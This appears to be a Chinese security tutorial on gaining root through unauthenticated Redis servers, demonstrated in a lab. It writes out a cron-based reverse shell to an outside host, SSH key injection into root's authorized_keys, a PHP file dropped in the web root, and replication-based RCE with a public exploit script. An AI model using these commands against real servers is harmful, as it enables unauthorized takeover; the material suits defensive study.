Redis提权的几种模式

admin 2025年6月8日09:36:12评论2 views字数 2850阅读9分30秒阅读模式

Redis提权的几种模式

简介

Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行代码提升权限至Root,本文主要介绍一下提权的击中方法以及Redis主从复制。

计划任务提权

配置Redis环境,搭建环境ubuntu16.04

wget http://download.redis.io/releases/redis-4.0.2.tar.gztar zxvf redis-4.0.2.tar.gzcd redis-4.0.2lsmakecd redis-4.0.2vim redis.confcd src/make install./redis-server ../redis.conf

修改绑定ip为0.0.0.0,否则只能本地访问

Redis提权的几种模式

保护模式改为no,未授权模式

Redis提权的几种模式

Redis提权的几种模式

客户端可连接测试

telnet xxx.xxx.xx.xx 6379

Redis提权的几种模式

Redis提权的几种模式

已创建连接,使用管理工具进行提权

Redis提权的几种模式

利用计划任务反弹shell

set x "n* * * * * bash -i >& /dev/tcp/ip/8888 0>&1n"

config set dir /var/spool/cron/

config set dbfilename root

save

Redis提权的几种模式

监听主机得到shell

Redis提权的几种模式

需要注意的是在这里ubuntu是不能以这种方式成功的,我也不清楚有的师傅是怎么成功的,实测只有centos能够成功[苦涩]。

写公钥登录服务器

攻击机:kali 192.168.0.104

Redis主机:ubuntu 192.168.0.105

ssh-keygen -t rsa

Redis提权的几种模式

初次ssh密钥连接会报错

Redis提权的几种模式

需要在目标ip输入

ssh localhost

需要注意,在执行的时候报错

Redis提权的几种模式

这个时候在/etc/ssh/ssh_config文件下添加

 StrictHostKeyChecking no UserKnownHostsFile /dev/null

Redis提权的几种模式

root@kali:~/Desktop/redis-4.0.2/src# ./redis-cli -h 192.168.0.105192.168.0.105:6379> config set dir /root/.ssh/OK192.168.0.105:6379> config set dbfilename authorized_keysOK192.168.0.105:6379> set x "nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCueN9b1mwowp4cS0m9KGB2ndXDUkOg0KLfoxvytH8lLIdCzbeCx0U/KKPkBkc790sd5B1fhd/JqswmyICzsLi3jrxbazr8SNz8QXBbiSPtjBSoXKjcX/SWfzB02GKz/0Bw/1pGjTiQQjQmwouXQmp9cI5Xvf+8caW7Ew2dYgexSF+9U9BQVXemDLf3t4RJpBCcbVqsszMk+SSrnYXVwhQpbetl3iT3JEclkwGkrWnjXbMqTPpP4XQ+FFNkMjc0tX4S8O3lsPKV28KNzwmR+4tlZLqBAhoUxHtpChBixHMqjhzjlM0A9anE959FpLmngQBQ2FxRkmpE48+mXGduExgP/7Ed9yph+00fWb77b36cNtu3VODimwrAJ8GLFAZJkWlzGkOi5figft6ks44Cea9FF50c3CCM8kNRo9U72Iwd9wLj1CHGIW6hSoC/ACJvD5ARU5ZOZrcJV1Eq7AgRE0vpvGrtkMyIYqgEQ751srNDdr0aqiSi3nzXK/P+cyZ0qQs= root@kalinnn"OK192.168.0.105:6379> saveOK

Redis提权的几种模式

然后登录

ssh -i id_rsa [email protected][1]

Redis提权的几种模式

登出

Redis提权的几种模式

其实直接登录也可以,无需密码直接登录

Redis提权的几种模式

web应用写入webshell

192.168.0.105:6379> config set dir /var/www/html/OK192.168.0.105:6379> config set dbfilename shell.phpOK192.168.0.105:6379> set x "<?php phpinfo();?>"OK192.168.0.105:6379> saveOK

Redis提权的几种模式

Redis提权的几种模式

Redis提权的几种模式

此时,在攻击机kali执行的时已写入www目录,此时在目标机器Ubuntu的html已有shell.php

Redis主从复制到RCE

基本上我们常见到的Redis提权基本上可以说是三种,如果主从复制也包括的算是四种,因为可以通过主从复制getshell实现rce。

Redis 使用和配置主从复制非常简单,能使得从 Redis服务器(下文称 slave)能精确得复制主 Redis 服务器(下文称 master)的内容。每次当 slave 和 master 之间的连接断开时, slave 会自动重连到 master 上,并且无论这期间 master 发生了什么, slave 都将尝试让自身成为 master 的精确副本。

这里使用ubuntu作为主服务器又作为从服务器来测试

主服务器监听8888

nc -lvp 8888

从服务器运行客户端执行命令

slaveof xx.xxx.xx.xx 8888

Redis提权的几种模式

从服务器这个已经与服务器创建连接

Redis提权的几种模式

每次当 slave 和 master 之间的连接断开时, slave 会自动重连到 master 上,并且无论这期间 master 发生了什么, slave 都将尝试让自身成为 master 的精确副本这句话的解释就在这里,从服务器虽然已退出,但是主服务器在监听端口时会自动重连。

Redis提权的几种模式

使用slaveof no one的命令会切断主从复制。

SLAVEOF命令的作用和功能可参考

https://www.redis.com.cn/commands/slaveof.html

Redis SLAVEOF命令可以将当前服务器转变为指定服务器的从属服务器(slave server)。

Redis提权的几种模式

<-!来自官方的解释。-!>

主从复制详细介绍可参考官方文档[2]

Redis复制是如何工作的?

Redis提权的几种模式

简单解释一下就是

Redis提权的几种模式

下载利用脚本

git clone https://github.com/Ridter/redis-rce

下载恶意so文件

wget https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

编译一下

make

Redis提权的几种模式

将恶意文件放在利用脚本目录下,使从服务器加载

Redis提权的几种模式

python redis-rce.py -r xx.xx.xx.7 -L xx.xx.xx.251 -f module.so

Redis提权的几种模式

小结

OVER

References

[1] [email protected]mailto:[email protected]
[2] 官方文档: https://www.redis.com.cn/topics/replication.html

原文始发于微信公众号(四季安全团队):Redis提权的几种模式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日09:36:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis提权的几种模式https://cn-sec.com/archives/1026185.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息